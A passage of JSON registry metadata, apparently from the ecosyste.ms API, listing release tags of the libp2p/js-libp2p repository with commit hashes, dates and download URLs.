pi/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.0.12/manifests"},{"name":"kad-dht-v16.2.0","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.2.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.2.0/manifests"},{"name":"interop-v14.0.17","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.17/manifests"},{"name":"interface-v3.2.0","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-v3.2.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.2.0/manifests"},{"name":"interface-internal-v3.1.0","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.1.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.0/manifests"},{"name":"interface-compliance-tests-v7.0.16","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.16/manifests"},{"name":"integration-tests-v1.2.0","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.0/manifests"},{"name":"identify-v4.1.0","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.0/manifests"},{"name":"gossipsub-v15.0.17","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v15.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v15.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v15.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v15.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v15.0.17/manifests"},{"name":"floodsub-v11.0.16","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.16/manifests"},{"name":"fetch-v4.1.0","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.0/manifests"},{"name":"echo-v3.1.0","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.0/manifests"},{"name":"dcutr-v3.0.15","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.15/manifests"},{"name":"daemon-v6.0.17","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.17/manifests"},{"name":"daemon-server-v9.0.17","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.17/manifests"},{"name":"daemon-protocol-v8.0.5","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-protocol-v8.0.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-protocol-v8.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-protocol-v8.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.5/manifests"},{"name":"daemon-client-v10.0.17","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.17/manifests"},{"name":"crypto-v5.1.15","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/crypto-v5.1.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/crypto-v5.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@crypto-v5.1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.15/manifests"},{"name":"config-v1.1.27","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/config-v1.1.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/config-v1.1.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@config-v1.1.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.27/manifests"},{"name":"circuit-relay-v2-v4.2.0","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.0/manifests"},{"name":"bootstrap-v12.0.16","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.16/manifests"},{"name":"autonat-v3.0.15","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.15/manifests"},{"name":"autonat-v2-v2.0.15","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.15/manifests"},{"name":"webtransport-v6.0.16","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.16/manifests"},{"name":"websockets-v10.1.7","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.7/manifests"},{"name":"webrtc-v6.0.15","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.15/manifests"},{"name":"utils-v7.0.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.0.14/manifests"},{"name":"upnp-nat-v4.0.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.14/manifests"},{"name":"transport-interop-libp2p-main-v1.0.16","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.16/manifests"},{"name":"tls-v3.0.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.0.14/manifests"},{"name":"tcp-v11.0.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.14/manifests"},{"name":"simple-metrics-v2.0.11","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/simple-metrics-v2.0.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/simple-metrics-v2.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@simple-metrics-v2.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.11/manifests"},{"name":"record-v4.0.10","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/record-v4.0.10","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/record-v4.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@record-v4.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/record-v4.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/record-v4.0.10/manifests"},{"name":"prometheus-metrics-v5.0.15","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.15/manifests"},{"name":"pnet-v3.0.15","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.15/manifests"},{"name":"plaintext-v3.0.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.14/manifests"},{"name":"ping-v3.0.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.0.14/manifests"},{"name":"perf-v5.0.15","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.0.15/manifests"},{"name":"peer-store-v12.0.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.14/manifests"},{"name":"peer-record-v9.0.6","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-record-v9.0.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-record-v9.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-record-v9.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.6/manifests"},{"name":"peer-id-v6.0.5","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-id-v6.0.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-id-v6.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-id-v6.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.5/manifests"},{"name":"peer-collections-v7.0.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.14","dependencies_parsed_at":null,"dependency_job_id":n